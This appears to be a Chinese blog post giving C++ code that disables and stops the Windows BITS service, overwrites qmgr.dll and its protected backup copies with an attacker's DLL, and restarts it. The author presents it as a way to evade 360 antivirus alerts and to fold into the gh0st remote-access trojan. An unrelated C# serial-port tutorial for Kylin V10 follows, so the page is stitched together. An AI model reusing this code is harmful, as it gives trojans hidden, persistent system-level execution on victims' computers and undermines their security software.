替换BITS系统服务代码

PS:这个方法用来过360服务提示是很不错的,放到gh0st里去,再把代码 改下就好了 ^_^

创建了一个类,提供三接口,一个用来启动服务,一个用来停止服务,一个用来调整启动方式滴

 

   1. class CService
   2. {
   3. public:
   4. BOOL SetStartType(DWORD dwOp);
   5. void StopService();
   6. void StartService();
   7. CService(char* szSerName);
   8. virtual ~CService();
   9.

  10. private:
  11. BOOL CloseHandle();
  12. BOOL EnablePriv();
  13. BOOL OpenHandle();
  14. SC_HANDLE m_ser;
  15. SC_HANDLE m_scm;
  16. char m_szSerName[256];
  17. };
  18.

  19. 实现部分的代码
  20.

  21. CService::CService(char *szSerName)
  22. {
  23. memset(m_szSerName,0,256);
  24. strcpy(m_szSerName,szSerName);
  25. }
  26.

  27. CService::~CService()
  28. {
  29.

  30. }
  31.

  32. BOOL CService::OpenHandle()
  33. {
  34. BOOL stat=EnablePriv();
  35. if(!stat)
  36.    return FALSE;
  37. m_scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
  38. if(m_scm==NULL)
  39. {
  40.    return FALSE;
  41. }
  42. m_ser=OpenService(m_scm,m_szSerName,SERVICE_ALL_ACCESS);
  43. if(m_ser==NULL)
  44. {
  45.    return FALSE;
  46. }
  47. else
  48.    return TRUE;
  49. }
  50.

  51. BOOL CService::EnablePriv()
  52. {
  53. HANDLE hToken;
  54. BOOL stat;
  55. stat=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
  56. if(stat==FALSE)
  57.    return FALSE;
  58.

  59. TOKEN_PRIVILEGES tkp;
  60.

  61. stat=LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );//修改进程权限
  62. if(stat==FALSE)
  63.    return FALSE;
  64. tkp.PrivilegeCount=1;
  65. tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  66. stat=AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限
  67.

  68. return stat;
  69. }
  70.

  71. BOOL CService::CloseHandle()
  72. {
  73. return (CloseServiceHandle(m_scm)&&CloseServiceHandle(m_ser));
  74. }
  75.

  76. void CService::StartService()
  77. {
  78. EnablePriv();
  79. OpenHandle();
  80. ::StartService(m_ser,NULL,NULL);
  81. CloseHandle();
  82. }
  83.

  84. void CService::StopService()
  85. {
  86. EnablePriv();
  87. OpenHandle();
  88. SERVICE_STATUS stat;
  89. ControlService(m_ser,SERVICE_CONTROL_STOP,&stat);
  90. CloseHandle();
  91. }
  92.

  93. BOOL CService::SetStartType(DWORD dwOp)//SERVICE_AUTO_START SERVICE_BOOT_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_SYSTEM_START
  94. {
  95. OpenHandle();
  96.     SC_LOCK sclLock=LockServiceDatabase(m_scm);
  97. BOOL stat=ChangeServiceConfig(
  98.    m_ser,
  99.    SERVICE_NO_CHANGE,
 100.    dwOp,
 101.    SERVICE_NO_CHANGE,
 102.    NULL,
 103.    NULL,
 104.    NULL,
 105.    NULL,
 106.    NULL,
 107.    NULL,
 108.    NULL);
 109. UnlockServiceDatabase(sclLock);
 110. CloseHandle();
 111. return stat;
 112. }
 113.

 114.


 115. 替换程序相关的代码
 116.

 117. void ReplaceService(char *szFilePath)//szFilePath是我们自己的DLL文件的位置
 118. {
 119. char temp[256]={0};
 120. GetWindowsDirectory(temp,256);
 121. char szPackPath[256]={0};
 122. strcpy(szPackPath,temp);
 123. strcat(szPackPath,"//ServicePackFiles//i386//qmgr.dll");//这个东东貌似是XP sp3下才存在,开始的时候没注意,一直没替换成功,系统自动还原了,瘦了一下,发现这个地方还有一备份文件。替换了就好了
 124. char szCachePath[256]={0};
 125. strcpy(szCachePath,temp);
 126. strcat(szCachePath,"//system32//dllcache//qmgr.dll");
 127. char szSystemPath[256]={0};
 128. strcpy(szSystemPath,temp);
 129. strcat(szSystemPath,"//system32//qmgr.dll");
 130.

 131. strcat(temp,"//qmgr.cfei");
 132.

 133. MoveFileEx(szCachePath,temp,MOVEFILE_REPLACE_EXISTING);
 134. MoveFileEx(szPackPath,temp,MOVEFILE_REPLACE_EXISTING);
 135. MoveFileEx(szSystemPath,temp,MOVEFILE_REPLACE_EXISTING);
 136. CopyFile(szFilePath,szCachePath,0);
 137. CopyFile(szFilePath,szPackPath,0);
 138. CopyFile(szFilePath,szSystemPath,0);
 139. }
 140.

 141.


 142. 调用部分的代码
 143.

 144. CService ser("bits");
 145. ser.SetStartType(SERVICE_DISABLED);
 146. ser.StopService();
 147.    ReplaceService("c://ser.dll");//这里假设我们的文件释放的位置是c:/ser.dll
 148. ser.SetStartType(SERVICE_AUTO_START);
 149. ser.StartService();

 

当BITS才开始就是启动状态时,系统重新启动后才可以正常工作,如果BITS服务才开始就是停止或者禁用状态,则可以直接工作

服务部分相关的代码都从冷风那抄的咯,只是整理成一个类了,调用方便些而已

### C# 实现麒麟 V10 系统串口调试 在麒麟 V10 系统上使用 C# 进行串口调试,可以通过 Mono 或 .NET Core 来运行 C# 应用程序。由于 Linux 平台本身并不原生支持 Windows 的 COM 口操作方式,因此需要借助第三方库来完成串口通信功能。 以下是基于 `System.IO.Ports` 和 Mono/.NET Core 的实现方法: #### 示例代码 以下是一个简单的 C# 串口调试示例代码,适用于麒麟 V10 系统[^4]: ```csharp using System; using System.IO.Ports; class SerialPortExample { static void Main(string[] args) { try { // 创建并配置串口对象 using (SerialPort port = new SerialPort()) { port.PortName = "/dev/ttyS0"; // 替换为实际使用的串口号 port.BaudRate = 9600; // 波特率设置 port.DataBits = 8; // 数据位数 port.StopBits = StopBits.One; // 停止位 port.Parity = Parity.None; // 校验位 port.Handshake = Handshake.None; // 流控制 port.ReadTimeout = 500; // 设置读超时时间 port.WriteTimeout = 500; // 设置写超时时间 Console.WriteLine("打开串口..."); port.Open(); // 打开串口 string message = "Hello, Serial Port!"; byte[] dataToSend = System.Text.Encoding.ASCII.GetBytes(message); Console.WriteLine($"发送数据: {message}"); port.BaseStream.Write(dataToSend, 0, dataToSend.Length); // 发送数据 int bytesToRead = port.BytesToRead; if (bytesToRead > 0) { byte[] buffer = new byte[bytesToRead]; port.BaseStream.Read(buffer, 0, bytesToRead); string receivedMessage = System.Text.Encoding.ASCII.GetString(buffer); Console.WriteLine($"接收数据: {receivedMessage}"); } Console.WriteLine("关闭串口..."); port.Close(); } } catch (Exception ex) { Console.WriteLine($"发生错误: {ex.Message}"); } } } ``` --- #### 关键点说明 1. **串口路径** 在 Linux 中,串口设备通常位于 `/dev/` 下,例如 `/dev/ttyS0` 或 `/dev/ttyUSB0`。需根据实际情况替换 `port.PortName` 的值[^2]。 2. **依赖项安装** - 安装 Mono 或 .NET SDK:确保系统已安装 Mono 或 .NET Core 支持环境。 - 如果使用 `.NET Core`,可通过以下命令安装必要组件: ```bash sudo apt update && sudo apt install dotnet-sdk-6.0 ``` 3. **权限管理** 访问串口可能需要管理员权限。可以临时提升权限执行程序,或者修改文件访问权限: ```bash sudo chmod a+rw /dev/ttyS0 ``` 4. **跨平台兼容性** 使用 `System.IO.Ports` 是一种通用的方式,在 Mono 和 .NET Core 上均能正常工作。但在某些情况下,如果发现不兼容问题,可尝试引入第三方库如 `SerialPortNetStandard`[^5]。 --- ### 注意事项 - 麒麟 V10 系统默认未预装 .NET/Mono 开发框架,需自行下载并安装对应版本的开发包。 - 若遇到编译失败的情况,请确认是否缺少必要的依赖库(如 libmono-*),并通过 `apt-get` 安装缺失部分。 - 对于硬件驱动的支持情况,建议查阅官方文档或联系技术支持团队获取更详细的指导。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值